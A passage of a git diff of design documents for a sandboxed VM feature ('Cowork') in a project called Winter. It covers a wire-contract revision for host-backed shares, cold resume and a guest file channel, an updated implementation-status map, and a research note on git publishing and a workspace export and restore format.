`sessionId`, so the index is transport, not authority. The host opens them only for an image that declares the runtime capability `file-channel-v1`: a revision-2 guest relay refuses stream 4 and would end its stream. Their end flags follow the other streams' rules; FILE_IN's end means the host closed its port for the incarnation, FILE_OUT's end that the guest file service exited (a drain or a fault), and neither is ever "this reply is done". **FILE_IN has its own bound and never joins the runtime IN count:** at most 4 request lines outstanding (`COWORK_NATIVE_LIMITS.fileInFlightRequests`), each at most 16 KiB with its newline (`fileRequestBytes`), a request answered when a FILE_OUT response line's newline arrives, each response line at most 384 KiB (`fileResponseBytes`); a response byte with no request outstanding cannot be attributed and is `bad_field`. FILE_IN bytes never add to the runtime IN count and FILE_OUT bytes never clear it, so a busy file service can never "prove" that a stalled runtime is reading. `CoworkNativeRuntimeStreams` applies the rule, all or nothing per frame, and `runtime-flow.json` (`fileCases`) pins it. The guest relay keeps a separate 256 KiB FILE_IN ring (four times the most the host may have outstanding). + ## 7. Stop evidence Two classes, kept apart by type. Both are single canonical JSON lines (the exact text the launcher fsyncs and embeds in `stopped` @@ -439,8 +461,8 @@ drain completed it writes a Class A with `origin = owner-loss-drain`. Either way ## 10. What is deliberately not decided here -* D4 (who owns the agent-SDK relay), D7 (where the libkrun patches live), D10 (host-backed shares and the provider bridge) are open. - Nothing in this contract needs one particular answer; the provider class is reserved and empty. +* D4 (who owns the agent-SDK relay) is open. D7 is decided (owner 2026-10-19: the libkrun patches stay in the winter repo's queue), and D10 is lifted for + host-backed shares and cold resume (owner 2026-10-19; section 12). The provider bridge stays HELD: the provider class is reserved and empty. * The `allocate` action of `CoworkVolumeAuthority` is refused by the native authority: provisioning is not on the launch path. * Authentication of a retained receipt that is read back from the launcher's durable store is the launcher slice's design (S2). The adapter accepts such a receipt only through a port that must attest it; file presence alone is never proof. @@ -484,3 +506,54 @@ retained receipt, a MAC with a Keychain key, or a launcher-served read) stays wi Boot reconcile runs `CoworkAdmissionLedger.reconcile()` first, then settles every workspace that is not `stopped`. A replay debt (an interrupted journal replay) names a previous writer; the next incarnation proves THAT writer stopped from memory, from the boot id inside its owner tuple, or from the launcher's retained receipt, which is therefore kept until the debt is settled. + +## 12. Contract revision 3: host-backed shares, cold resume, the guest file channel (2026-10-19) + +The design is `docs/research/2026-10-18-n2-extensions-design.md` (PR #92). Revision 3 is ADDITIVE on every link: a new L1 type is refused by a revision-2 peer as `unknown_type`, a new envelope kind as `unknown_type`, a new bootstrap message or key by the bootstrap `v` (now 2) as `version`, and the new runtime streams are offered only to an image that declares `file-channel-v1`. Nothing here is wired: `session.create {mode: "cowork"}` still answers `unsupported_topology`. + +**Why L1 stays at text version 2.** The text version guards the shape of existing L1 lines and receipts, as the 1 to 2 bump did when `begin` and the Class A receipt changed shape. Revision 3 changes neither: it adds L1 types and one refusal code, and a revision-2 launcher refuses the new types. Bumping it would re-key every receipt MAC vector and every launcher copy for no added refusal. A bump is a mechanical follow-up if the contract owner prefers one (`COWORK_NATIVE_TEXT_VERSION`). + +### 12.1 Host-backed shares + +A share is a host directory served to the guest by a Winter-owned virtio-fs server in libkrun (design section 2.3). Kinds: `folder` (a granted user folder, at `/workspace/folders/`, read-only or read-write by its grant; at most 9), `guidance` (`/run/winter/shared-instructions`, always read-only), `memory` (`/workspace/.winter/memory`, read-write) and `outputs` (`/workspace/outputs`, read-write), at most one of each Winter kind, at most 12 in all, tags `[a-z0-9-]{1,32}` distinct. + +1. **L1 `shares`** (daemon to launcher, at most once, after `hello`, before `begin`): one record per share, `tag, kind, mode (ro|rw), device, inode, path, guestPath`, with one directory descriptor per record on the line's single `sendmsg`. `path` is canonical (absolute, no `.`, `..` or empty component, not `/`, well-formed UTF-8 of at most 1024 bytes, no control character); paths are pairwise neither equal nor nested and (device, inode) pairs distinct. The line stays inside the 16 KiB control-line bound; a sender refuses a set that does not fit. The launcher refuses with `shares_rejected` when a descriptor's `fstat` differs from its record, is not a directory, or its `F_GETPATH` differs from `path`. +2. **Worker argv** `[path, "--shares-v1", "", ("ro"|"rw", "") x N]` (section 5): one sandbox parameter per share, installed before anything is read. +3. **L2 `shares`** (kind 6, section 5) after the worker's `sandboxed` status, carrying the descriptors; the worker checks each against its argv by `F_GETPATH` and `fstat` and attaches each with the proposed ABI (below). +4. **Bootstrap `shares`** (host to guest, after `mounted`, before `conversations`, echoing the plan's operation and nonce): `tag, guestPath, readOnly, kind` per share. The guest checks the virtio-fs tag inventory against it (`share_inventory` on any difference), mounts each tag `nosuid,nodev` (`noexec` on the Winter shares, `ro` where read-only, `dax=never`), and answers `shares_mounted` or `share_mount_failed`. The set waits for `shares_mounted` (`coworkNativeBootstrapOrder`). +5. **Revocation.** L1 `share_revoke` → L2 `share_revoke` (kind 7): the server refuses every request that starts after it. Only the device's own thread closes the device's descriptors, then the worker sends L2 `share_event` `share_revoked` and the launcher the L1 line of the same name. A daemon that has not seen `share_revoked` within 2 s of its line stops the workspace (fail closed). "Revocation complete" is reported only after the following restart. +6. **Notices.** The server reports writes to watched auto-run names and refused git writes as L2 `share_event` `share_notice`, relayed as the L1 line, at most one per tag and kind per incarnation. + +Proposed libkrun ABI (SH2; not in `COWORK_LIBKRUN_PRODUCTION_ABI` until the patch lands): `int32_t krun_cowork_add_share_v1(uint32_t ctx_id, const char *tag, int32_t root_fd, uint32_t flags, const char *guest_path)`, `flags` as in the L2 record. `krun_add_virtiofs*` and `krun_set_root` stay forbidden. + +### 12.2 Cold resume + +Each host-query conversation's `runtime` gains `continuation` and `endedGuestBoots`: + +| Host `store_state` | `continuation` | Supervisor test | +| --- | --- | --- | +| `none` (never sent) | `fresh` | store and run home empty, else `runtime_fresh_store_required`; `endedGuestBoots` must be empty | +| `started` (a set was sent, no completed turn yet) | `either` | run home empty; an empty store runs fresh, a non-empty one resumes | +| `created` (a completed turn) | `resume` | store non-empty and owned by `runtimeUid`, mode 0700, else `resume_store_missing` | + +`runtime_ready.continuations` says, per host-query conversation, which one the supervisor ran, and the host passes `resume` to the SDK only on `resume`. `endedGuestBoots` lists guest boot ids the HOST recorded at that boot's `hello` and later released by real proof (section 7); it is the only previous-boot evidence the owner library may mint, and never contains the live boot. New bootstrap faults: `resume_store_missing`, `fresh_store_not_empty`. `timeoutMs` admits up to 86,400,000 (the 24 h guest backstop, owner O7) for the host-query profiles only; the fixture `fresh` profile is not carried by the conversation set and its ceiling stays 600,000 (600 s). An agent SDK supervisor before its CR2 release still refuses more than 600,000, which fails the start closed; the host sends 600,000 until the image pins CR2. + +`continuation: "either"` is never used once `store_state = created`: from the first completed turn on, the host sends `resume` only, so a store that has gone missing is a `resume_store_missing` fault, never a silent fresh start. `either` exists only for `started`, where the host cannot know whether the guest store was written. + +### 12.3 The guest file channel + +Streams FILE_IN (4) and FILE_OUT (5), section 6.2. The conversation set gains `browseUid`: `null`, or the workspace's browse uid (1000 to 65533), never any member's runtime or tool uid and never a group id. The guest file service runs each request as that uid in the workspace group with no capability, in a read-only view of the conversation's admitted roots (design section 4b.3). + +### 12.3a Revision 3 additions the host implements (S7B, 2026-10-19) + +- **`coordinate` tool class.** `toolClasses` is a subset of `read write execute coordinate`, in that order (`coordinate` last): the class of the guest-side coordination tools. Order, repeats and unknown names are refused as before. +- **The plan view.** `/workspace/plan//` is admitted as a root of that conversation only: the conversation's own id, `epoch` a canonical non-negative decimal (no leading zero, at most nine digits), exactly that path (no deeper). It exists only under policy `plan` and at most once, and it is the ONE writable root there: under `plan` every other root is read-only, and a plan view with `readOnly: true`, or any plan view under another policy, is refused. It lies outside `.winter`. PID 1 creates the directory root-side when the set names it, idempotently and without following a symlink: `/workspace/plan` and `/workspace/plan/` are `root:root` 0711 (walked through, never listed, and the record of the epochs ever made, which the tool uid must not be able to edit), and only the epoch directory belongs to that conversation's `toolUid`, with the same number as group, mode 0700. An existing directory of any other owner is refused before anything is changed on it, and a plan view's `source` must equal its `guestPath` (the supervisor admits by `guestPath`, PID 1 makes the directory from `source`). The workspace group is never used: several conversations of a workspace may share one `workspaceGid`, so no other conversation's tool uid, and no other conversation's file service, can read or write the view. The supervisor (root) lists the folder of the id to refuse a stale epoch; the file worker, which runs as `toolUid`, is the one writer. PID 1 refuses to make an epoch below one that already sits beside it on the data disk, and never re-creates or empties an earlier epoch. The host never writes the data disk. The host sends an epoch only once per conversation going forward: an epoch lower than one already sent for that workspace and conversation is refused before anything is sent (the same epoch is fine). +- **Outputs directory.** `/workspace/outputs/` lives on the outputs share (12.1). Before a set that names it is sent, the host makes `/cowork/workspaces//shared/outputs/` (owned by the daemon's user, mode 0700, never through a symlink, idempotent). The guest's view of group ownership is the folder server's mapping. +- **Guest boots.** The host records `guestBootId` at `hello` (`cowork_guest_boots`), before it sends the plan. The row's end proof is written only by the evidence that released the disks (an orderly receipt, a changed host boot, an owner recover), never by anything the guest says; `endedGuestBoots` lists only boots with a proof. +- **Store volume.** The data volume's filesystem UUID is kept per workspace (`store_volume_uuid`, write-once) and compared before any start. A different value refuses the start before the incarnation moves, and marks the store lost when a store was expected (`started` or `created`). A store expected over a never-formatted data volume is likewise lost, and the volume is not formatted for it. +- **The continuation echo.** `runtime_ready.continuations` has exactly one entry per host-query conversation; a `fresh` set must echo `fresh`, a `resume` set `resume`, and an `either` set either. Anything else fails the start. The echo is handed to the caller (`CoworkNativeRunning.continuations`). +- **Faults.** `resume_store_missing` marks the conversation's store lost (once) and fails the start; `fresh_store_not_empty` fails the start and marks nothing. + +### 12.4 Vector copies + +The canonical vectors here moved (bootstrap `v`, the new keys, the new types). The worker's and the launcher's copies of `mux-frames.json` and `runtime-flow.json` are re-pinned with this revision, because both relay runtime and bootstrap frames blind. Their copies of `launcher-lines.json` and `envelopes.json`, and the guest's copies, stay at revision 2 until the slices that implement the new types land (launcher SH4, worker SH3, guest SH6 and FC3); each copy is pinned by its own hash, so a stale copy is visible, never silent. diff --git a/docs/cowork-status.md b/docs/cowork-status.md index 3d1e77709..fb0b85122 100644 --- a/docs/cowork-status.md +++ b/docs/cowork-status.md @@ -1,6 +1,6 @@ # Cowork implementation map -As of 2026-10-15, Winter cannot create or run a supported Cowork session. Code, Chat, and Dispatch are the implemented daemon modes. `SessionModeSchema` ([events.ts](../packages/protocol/src/events.ts)) now has four values, `code`, `dispatch`, `cowork` and `chat`: Cowork exists as a recognised wire and stored mode that the daemon REFUSES everywhere (`session.create` answers `unsupported_topology`, a stored cowork row never runs), and the runtime SDK's `RunMode` still excludes it. Cowork has host-side workspace infrastructure, Mac screens for workspaces, shared guidance and schedules ([later status](#later-status-2026-10-15)), visible UI placeholders for the composer and Dispatch `/spawn`, reserved names, and reusable infrastructure. A reserved predicate or a passing synthetic test does not make it a working product mode. +As of 2026-10-25 (first written 2026-10-15), Winter cannot create or run a supported Cowork session. Code, Chat, and Dispatch are the implemented daemon modes. `SessionModeSchema` ([events.ts](../packages/protocol/src/events.ts)) now has four values, `code`, `dispatch`, `cowork` and `chat`: Cowork exists as a recognised wire and stored mode that the daemon REFUSES everywhere (`session.create` answers `unsupported_topology`, a stored cowork row never runs), and the runtime SDK's `RunMode` still excludes it. Cowork has host-side workspace infrastructure, Mac screens for workspaces, shared guidance and schedules ([later status](#later-status-2026-10-15)), visible UI placeholders for the composer and Dispatch `/spawn`, reserved names, and reusable infrastructure. A reserved predicate or a passing synthetic test does not make it a working product mode. The 2026-10-12 accepted native-host policy preserves ordinary Code/tool execution without a persistent outer floor or first-activation restart debt. Core file checks and the existing single Bash sandbox protect registered paths; approved escapes keep their normal approval behavior with static write-shaped Cowork integrity checks. Activation refreshes Code incarnations/run homes while preserving queued messages and logical identity, and uses acknowledged live updates for Chat/Dispatch with the independently accepted SDK v1 nine-family context contract, preserving ongoing turns. Protected cold startup waits for its matching Worker acknowledgment. The installed SDK pin remains unchanged and lacks the contract; that version still requires existing embedded Workers to close and refuses protected Chat/Dispatch. Explicit owned-worker/bridge floors and host credential protection remain requirements; separate per-workspace encryption is deferred for the first version. Private images are plaintext, protected offline by FileVault only when enabled, and readable by same-user processes or approved escaped commands, which run as the user; these changes do not pass the production Cowork gate. @@ -22,6 +22,20 @@ The 2026-10-12 text above (except the opening paragraph, which is re-dated and e - **The runtime SDK** has, as of 2026-10-16, 17 merged PRs (#1-#17: guest transport, plain-guidance admission, structured instruction reads, source-only reader tooling, and on 2026-10-16 the reader packet, dependency probe and single-run hosted harness, #17, `29eede4b`). Its `RunMode` still excludes Cowork. Merged is not released or pinned in Winter. - **Still open:** supported creation, the Cowork prompt and tool surface, the composer send, folder and approval chips, session windows, Dispatch `/spawn`, and any iOS surface (the iOS app is unchanged since 2026-10-10). +## Later status (2026-10-25, `cowork/output-integration`) + +Everything below is source on the integration branch; none of it runs, and nothing has booted. + +- **Still true: no Cowork session can be created.** `session.create {mode: "cowork"}` still answers `unsupported_topology` for every role. The session door's records exist (runtime-state schema v18 to v21: binding location, reservations, export content binding, stable guest uids and cold-resume records; see [settings-and-migrations.md](claude/settings-and-migrations.md#runtime-state-schema-v21-and-the-way-back)) but no door is switched on, and the native activation seam (`cowork/native-activation.ts`) answers `undefined`. +- **Native source now exists end to end, unwired.** The Swift launcher (`apple/Cowork/WinterCoworkLauncher`), the C VM worker (`apple/Cowork/WinterCoworkHVFWorker`), the host adapter and wire contract (`packages/core/src/cowork/native/`, [cowork-native-worker.md](cowork-native-worker.md), revision 3), the guest PID 1, relay and file channel (`apple/Cowork/WinterCoworkGuest`) and a pinned libkrun patch queue (the libkrun patch-queue package under `apple/Cowork/`, patches 0004-0026 over libkrun v1.19.6). The release script requires an explicit choice: `COWORK_NATIVE=omit` or both libkrun inputs ([release.md](claude/release.md#the-cowork-native-pair-is-an-explicit-choice)). +- **libkrun SH2:** the confined virtio-fs server core (0024), its git rules and quarantine (0025), and the guarded fs device with the shares ABI gate (0026). +- **Guest side of host-backed shares (SH6)** and the **plan view** `/workspace/plan//` are in the guest init; Mac folders are guest shares at `/workspace/folders/` over virtio-fs; the memory share is at `/workspace/.winter/memory`; the image carries a fixed `/etc/gitconfig` for the process worker. Details: [cowork.md](claude/cowork.md#native-guest-stack-on-the-integration-branch-source-only-never-booted). +- **Cold resume:** the host half (store state, continuation, proven-ended boots) and the guest owner patch are both present; the host port is not supplied by any production composition, so a recorded-backend conversation still refuses `cold_resume_unavailable`. +- **Reproducible pinned guest image:** build 5 repinned the expected artifact (SDK `ec91fe06`), and the kernel `Image` and `vmlinux` are pinned from build 4. `runtimeImageDigest` is `da1795da4155dca3d40efda00aab2eab87fe6a7c3cc6175078396cff5a86ca65`. The kernel pins' status is `built-reproduced-unbooted`. Build 6 (the one-run workflow on `cowork/guest-image-build-6`, from integration `cfd80390`) rebuilt the image with exit [0,0], every pin holding and both builds identical, and `runtimeImageDigest` again `da1795da4155dca3d40efda00aab2eab87fe6a7c3cc6175078396cff5a86ca65`: the pinned image is confirmed reproducible from integration. Nothing has booted. +- **Held, owner's work:** the native egress broker and the provider bridge (mux class 3). They are not described here and nothing in this branch builds on them. +- **Live gates G0-G9 have not run.** Nothing has booted; G1 is the first boot. Every gate needs a review of the exact commit and the owner's approval. +- **Still open from before:** the Cowork prompt and tool surface wired to a runtime mode, the composer send, folder and approval chips, session windows, Dispatch `/spawn`, any iOS surface, and the `workspace.archive`/`restore`/`delete` and `workspace.export.*` RPCs (the `.winterworkspace` writer and restore exist behind ports with no RPC). + ## What already exists | Area | Implemented today | Cowork boundary | Source | @@ -30,7 +44,7 @@ The 2026-10-12 text above (except the opening paragraph, which is re-dated and e | Mac composer preview | Chat/Cowork selector, Cowork idea prefills, dedicated composer styling, and folder/approval chips. Cowork can be selected for preview. | Sending is blocked; the folder and approval chips are not wired. | [NewChatPage](../apple/Winter/Sources/AppShell/NewChatPage.swift), [ComposerChrome](../apple/Winter/Sources/AppShell/ComposerChrome.swift) | | Dispatch command | `/spawn` parsing, an unavailable notice, and an optional `onSpawnCowork` callback. | Production wiring does not set that callback. Its test invokes an injected closure, not a Cowork window. | [DispatchPillController](../apple/Winter/Sources/DispatchPill/DispatchPillController.swift), [controller tests](../apple/Winter/Tests/WinterAppTests/DispatchPillControllerTests.swift) | | Child orchestration | Dispatch creates Code sessions, tracks their work, relays cards, and receives completion updates. | `SpawnSession` accepts the reserved `cowork` argument only to reject it before creating anything. | [spawn schema](../packages/core/src/agent/tools/session-spawn.ts), [DispatchChildren](../packages/core/src/agent/dispatch-children.ts) | -| Guest conversation transport | Fixed host-record-derived launch descriptors and bounded SDK process-stream bridge, with conservative conversation lifetime retention. | No production native supervisor/ownership adapter; the actual SDK still refuses confined guest startup. Fixture frame/continuation mechanics are tested, not real durable guest execution. | [supervisor](../packages/core/src/cowork/guest-runtime.ts), [tests](../packages/core/test/cowork/guest-runtime.test.ts) | +| Guest conversation transport *(updated 2026-10-25)* | Fixed host-record-derived launch descriptors and bounded SDK process-stream bridge, with conservative conversation lifetime retention. | The native host adapter, launcher, worker and guest source now exist but are inert (the activation seam is off) and have never booted; nothing runs a real durable guest. Fixture frame/continuation mechanics are tested. | [supervisor](../packages/core/src/cowork/guest-runtime.ts), [tests](../packages/core/test/cowork/guest-runtime.test.ts) | | Lifecycle | Active/background/idle/archived derivation and setters are implemented. `participatesInActivity` includes `code` and the reserved `cowork` value. | Supported work sessions are Code. Cowork-shaped setter fixtures bypass supported creation. | [activity](../packages/core/src/sessions/activity.ts), [setActivity](../packages/core/src/sessions/set-activity.ts), [tests](../packages/core/test/ipc/session-set-activity.test.ts) | | Working directories | Ordered directories, canonical paths, locking, and the shared `setSessionDirs` operation. | It shares the reserved lifecycle predicate; no Cowork folder picker is connected to a real session. | [dirs](../packages/core/src/sessions/dirs.ts), [setDirs](../packages/core/src/sessions/set-dirs.ts), [tests](../packages/core/test/ipc/session-set-dirs.test.ts) | | Outputs | Per-session output paths, artifact enumeration, an outputs box, and side-viewer integration. | The eligibility helper accepts `cowork` for future use; live sessions reach this through Code. | [OutputsBox](../apple/Winter/Sources/AppShell/OutputsBox.swift), [ShellSessionHost](../apple/Winter/Sources/AppShell/ShellSessionHost.swift), [tests](../apple/Winter/Tests/WinterAppTests/OutputsBoxTests.swift) | diff --git a/docs/research/2026-10-18-content-out.md b/docs/research/2026-10-18-content-out.md new file mode 100644 index 000000000..245692fd9 --- /dev/null +++ b/docs/research/2026-10-18-content-out.md @@ -0,0 +1,132 @@ +# Cowork content-out: feature-branch publish and the `.winterworkspace` export + +Status: source only, behind ports production does not supply. Cowork stays unavailable: `session.create {mode: "cowork"}` still answers `unsupported_topology`, no RPC, setting or door is added, and every verb below refuses `integration_unavailable` or has no caller until the owner approves the flip. + +Stacked on the session-door spine (PR #88, which defines `cowork/session-ports.ts`). Revised after review of ddf0234d: the fixes are listed in section 6. + +## 1. Publishing a feature branch + +### What exists, and what this adds + +`cowork/git/*` already holds the pieces of a host-side publication boundary: `CoworkGitPublicationBroker` (single-ref, full SHA-1 v2 bundle, strict `fsck`, exact-lease push through an injected transport), `CurrentCoworkPublicationAuthority`, `CanonicalPublicationJournal` (claims, receipts and outbox events in one transaction), `IsolatedGitExecutor` (fixed argv, scrubbed environment) and `checkPackBudget`. Nothing composed them for a session, and nothing said how the commits reach the host. + +`git/publish-service.ts` composes them; `git/publish-intake.ts` is the N2 transport. Neither loosens a guard: the broker keeps its `isolatedFixture` requirement and its always-false `availability()`. + +### How the commits get from the guest to the host in N2 + +N2 has no virtio-fs, no vsock and no guest network (design note G1/G11, `docs/cowork-native-worker.md` section 8). The one channel is the guest file channel, and it is **host-initiated**: the host asks, the guest answers bounded bytes. So: + +1. The guest-side publish step writes a **full** git bundle (no prerequisite lines, one ref) to `/…/.winter-publish/.bundle` in the session's location. The host, not the guest, chooses that path: it is derived from the request id alone (`publishBundlePath`). +2. The host pulls it with `stat` and sequential `readRange` calls (256 KiB chunks), bound to the workspace and session from the session's binding, the incarnation the host believes is running, and the **current** canonical source revision. The size budget (8 MiB, the broker's own) is judged from `stat` before a byte is read. Reads pin the generation token; offsets must be contiguous; every reply is exactly as long as asked (so the number of calls is fixed by the size and a one-byte-at-a-time guest is refused at the first short reply); EOF must fall exactly at the stat'ed size; a closing `stat` must show the same generation. Any change is `bundle_stale`. +3. The bytes go to the broker, which re-verifies everything (header equals the named ref and new OID, pack budget, `unbundle`, object budget, strict `fsck`, commit type, ancestry for an update, an exact lease). +4. The push is the injected `PublicationTransport`, on the host, with host-held credentials. The guest never sees a remote, a URL or a token. Nothing in the new modules opens a socket or spawns a process (a pin test checks it). + +The intake depends on the file channel through a structural port (`stat`, `readRange`) that the real `CoworkGuestFileClient` satisfies (proved in `publish-service.test.ts` by type and by running the real client). It does not import `guest-file-channel.ts`, whose own pin forbids that. + +### Remote push is host-side only + +The spec allows it: "Keep provider/Git credentials on the host", "a host Git smart-HTTP gateway that validates actual ref updates", and "No reusable Git token or unrestricted credential helper is passed to guest Git". The bundle path is a deliberate N2 deviation from the specified receive-pack gateway: with no network there is no endpoint to put one on. Recommendation: keep bundles for N2 and add the receive-pack gateway when a host-owned network endpoint exists. The credential-owning `PublicationTransport` (GitHub account and repository selection, Keychain storage, refresh and revocation) remains new product work and is a port here. + +### What the service does + +- Derives the workspace from the session's binding (never from the request), reads the current source and publication revisions, refuses an archived or plan-mode conversation before touching the guest. +- Budgets: one publish at a time per workspace (`publication_busy`), a rolling attempt cap per workspace (`publication_budget`, in memory, reset by a restart), the 8 MiB bundle cap. +- Claims, journal and events are the existing journal's: a replayed request id returns the stored receipt and never pushes twice; the outbox carries `prepared`, `dispatched` and the terminal status. +- `status()` reads a prior receipt and is scoped to the principal and the session's workspace. `recover()` retires an unsent preparation of a dead host owner and needs the host's termination proof. +- Production builds it as `createCoworkPublishService(undefined)`, which refuses every verb. + +### What stays out + +Read-side git (clone and fetch into the guest) has no caller: it needs a guest-inbound bytes channel that does not exist. `read-transport.ts` and its siblings stay unwired. Per the design note, "no guest Git transport exists in `host-query-v1` and no clone can run", so no source can honestly be `ready` in N2 and the publish path has no live caller from a session yet. + +## 2. The `.winterworkspace` bundle + +### Format + +A folder (owner decision 2026-10-16), plaintext: + +``` +.winterworkspace/ + manifest.json the recorded manifest, byte for byte (its sha256 is cowork_exports.manifest_digest) + integrity.json canonical JSON: exportId, manifestDigest, {path, bytes, sha256} for every other file, sorted bytewise + data.ext4 env.ext4 + shared/{instructions,memory,outputs}/** regular files only +``` + +The contents are a whitelist. Nothing else in the workspace folder or the Winter home is read into a bundle: no authority database, bookmark, credential or Keychain item. The manifest stays the closed v1 shape; the per-file digests live in the sidecar index. + +### Writer (`export-writer.ts`) + +`prepare` (records the generation) → copy into a sibling `..partial` folder → two-pass shared snapshot → manifest bytes → index → fsync → `complete()` (refuses when canonical state moved) → exclusive atomic rename (`renamex_np` `RENAME_EXCL`) to the final name. Any failure marks the generation failed and removes only its own partial folder. + +- **Pinned descriptors.** Images are read only through `CoworkExportImageDoor`, a read-only opener of a stopped, unowned workspace's image on a descriptor the volume layer has verified (identity, `0600`, one link, recorded size, sticky exclusion). Production supplies none (section 4). +- **Clone, else sparse.** `fclonefileat` from the pinned descriptor where the volume allows; otherwise a sparse copy that skips zero pages and sets the final length with a positioned write (no `ftruncate`). A clone carries the source's xattrs, which would give the export the image's sticky Time Machine exclusion and defeat "export is the backup path", so every xattr is stripped from the copy and a test asserts it. +- **Consistency.** A change stamp of the pinned descriptor (identity, size, mtime and ctime in nanoseconds) before and after the copy, and a stamp of the canonical rows (workspace state, power, incarnation, lease epoch, both volumes' owner, last stop id, identity) before and after the whole export. `complete()` alone only re-derives the manifest, which a claim, run and release would not change. +- **Shared files.** No-follow opens; symlinks, hard links, FIFOs, sockets and devices refuse the whole export (`bundle_unsafe`); a second full pass re-lists and re-hashes the source and must agree, else `generation_stale`. +- **Destination.** An existing absolute folder, owned by the user, not group or world writable, outside Cowork's own storage tree; a plain name. An existing target is never overwritten or merged. +- **Cancellation and the event loop.** Copies and hashes yield to the loop every 16 MiB and honour an `AbortSignal`. +- **Stuck generation.** A crash after `prepare` leaves `export_in_progress` for ever. `abandonInterrupted()` fails it, only when this exporter is not the one working on it, and needs the lifecycle proof. (`CoworkExports.inFlight()` is the one read added to `exports.ts`.) + +### Restore (`restore-bundle.ts`) + +An in-place replacement of a stopped workspace's two images by an earlier verified generation of the **same** workspace in the **same** home. It is neither a cross-home import (`validateImport` only passes for the same home, an existing workspace and identical volume ids and UUIDs, and the host protocol forbids copied ids from creating a second owner) nor the `workspace.restore` un-archive operation. + +Conflict rules, each with a failing test when removed: + +1. Verify the whole bundle first (closed top-level set, only regular files, canonical index, every path whitelisted, the file set exactly the index's, every sha256). +2. `validateImport` must pass, and is judged again after the confirmation, which awaits a human. +3. An older generation than the latest completed one needs `allowOlderGeneration`. +4. The confirmation port must answer exactly `true`; there is no default. A missing live image is reported to it. +5. Nothing is deleted. Replaced images move to `restore-aside-/`; the bundle's shared files are placed in `restored-shared-/` and **never merged** into the live shared folders, whose file identities are recorded by the instruction and output layers. +6. The replacement is an atomic exchange (`RENAME_SWAP`), after the staged image carries the sticky exclusion, verified. +7. The identity is re-recorded through a port. A crash or failure between the exchange and the record leaves the recorded identity different from the file, which `CoworkVolumes` already refuses as `recovery_required`: it fails closed, and the old images stay in the staging folder. + +### What the filesystem journal revealed + +`CoworkVolumes.record()` binds the **ready history** in `filesystem_journal_json` to the file's identity (`historyTarget.identity`). Re-recording `device`/`inode` alone is not enough: every volume call fails until the history is rebound or the image is re-probed. The test-side identity port rebinds the identity inside the journal so the real volume layer accepts the restored files. Recommendation for the real method: **do not rebind**. A restored image is untrusted state on this boot; force a fresh full read-only probe (`prepareFilesystems` in `full-read-only` mode) and keep it unlaunchable until that confirms. + +## 3. What the integrity index is not + +It detects corruption and truncation. It does not detect a deliberate rewrite of the whole bundle, because nothing in the database binds the index. A `content_digest` column on `cowork_exports` (the digest of `integrity.json`, written by `complete()` and compared by `validateImport`) would close that. It needs a migration (DOOR owns migrations). + +## 4. Seams production must supply (not built here) + +- `CoworkExportImageDoor` — a read-only, descriptor-pinned opener on `CoworkVolumes`: like `open()` but requiring **no** owner, state `retained` or `archived`, power `stopped`, an `"export"` authority action, `O_RDONLY` (`openImageAt` currently hard-codes `O_RDWR`), and without burning `format_eligible`. +- `CoworkRestoreIdentityPort` — `CoworkVolumes.reidentifyRestored(...)`: stopped and unowned, compare-and-swap on the old identity, update `device/inode/uid/mode`, and settle the filesystem history as described above. +- `CoworkRestoreApproval` — an ApprovalBroker card (APPROVALS owns the bridge) showing the summary the restorer passes: workspace, generation, whether it is the latest, each image's presence and whether it is the recorded file, the shared file count and where the old images are kept. +- Publish ports — `PublicationTransport` (host-side GitHub with Keychain credentials), the host owner incarnation and termination proof for the journal, the live-guest locator, and the guest-side step that writes the full bundle. + +## 5. Gaps and recommendations + +1. **Index not bound in the database** (section 3). Add `content_digest`. +2. **Output directory names carry session ids.** `shared/outputs//…` names are in the bundle's paths while the manifest deliberately omits session ids. Owner decision: keep (restore needs the layout) or map them to opaque ids at export and back at restore. +3. **Empty directories are not preserved** (only regular files are listed). Recreate the three roots on restore, or record directories in the index. +4. **Shared restore is a side folder, not in place** (rule 5). In-place needs the instruction and output layers to expose an adopt step. +5. **Cross-home transfer** needs its own authorized operation (explicit relocation versus clone). +6. **Rate budget is in memory.** A durable window needs a table (DOOR). +7. **Receive-pack gateway** replaces the bundle path once a network endpoint exists. + +## 6. Review fixes (after ddf0234d was rejected) + +- **Restore holds the workspace.** `validateImport` and the live-image inspection are repeated synchronously right before the first exchange, and the exchanges and identity records run with no `await` between them. The lock is a module-level set keyed by home and workspace, so two restorer instances cannot both run (a reviewer probe had both succeed). Volume owner NEED: an exclusive restore claim, so that `claim()` refuses from the first exchange until the identity is re-recorded (today the window is closed only inside this process). +- **A rewritten bundle is refused.** Restore requires the digest of `integrity.json` to equal the one the database bound to that generation (`CoworkExportContentBinding`). Until DOOR adds the columns nothing can supply it, so `createCoworkWorkspaceRestorer(undefined)`, the only shape production can build, refuses every restore (`integration_unavailable`), and a ports object without the binding cannot be built. +- **Authority and sizes before hashing.** `inspectBundle` reads structure only; `validateImport`, the binding and the manifest's capacities are judged before `hashBundleFiles` reads a byte of an image. +- **No phantom `complete` generation.** The writer renames the bundle into place first and calls `complete()` after; a refusal there takes the bundle back and marks the generation failed. A named target that already exists is refused before a generation is prepared. +- **Descriptor-relative walks.** The shared tree, the bundle root and every file under them are walked and opened with `openat` on held directory descriptors and no-follow, so a swapped intermediate directory cannot redirect them. Listing re-opens `.` of the held descriptor (a `dup` shares the read offset and would list nothing the second time). +- **Destination ACL.** A destination whose ACL allows writes, adding files or deleting children is refused (`acl_get_file`/`acl_to_text`), whatever its mode bits. +- **Raw xattr names.** Names are passed back to `fremovexattr` as the raw bytes `flistxattr` returned, and `hasExtendedAttributes` is re-checked after the strip. APFS refuses to create a non-UTF-8 name, so the splitter is tested directly. +- **Opaque output ids (gap 3, decided).** The bundle names each session folder `s` and each file directly under `outputs/` `f/`; the reverse table is kept in the `cowork_exports` row. Restore maps back and refuses an id the record does not hold. +- **Pins.** Imports are resolved to files (extensionless, `.js`, dynamic, `require`, re-export, multi-line); the exact `dlopen` symbol table of `export-io.ts` is pinned; the `cowork/git/` exemption is replaced by the exact internal edge list. + +### NEEDS FROM DOOR (migration 20), definitions + +```sql +ALTER TABLE cowork_exports ADD COLUMN content_digest TEXT CHECK (content_digest IS NULL OR (length(content_digest) = 64 AND content_digest NOT GLOB '*[^0-9a-f]*')); +CREATE TABLE cowork_export_output_ids ( + export_id TEXT NOT NULL REFERENCES cowork_exports(export_id), + opaque_id TEXT NOT NULL CHECK (length(opaque_id) = 17 AND opaque_id GLOB 's*' AND substr(opaque_id, 2) NOT GLOB '*[^0-9a-f]*'), + session_id TEXT NOT NULL, + PRIMARY KEY (export_id, 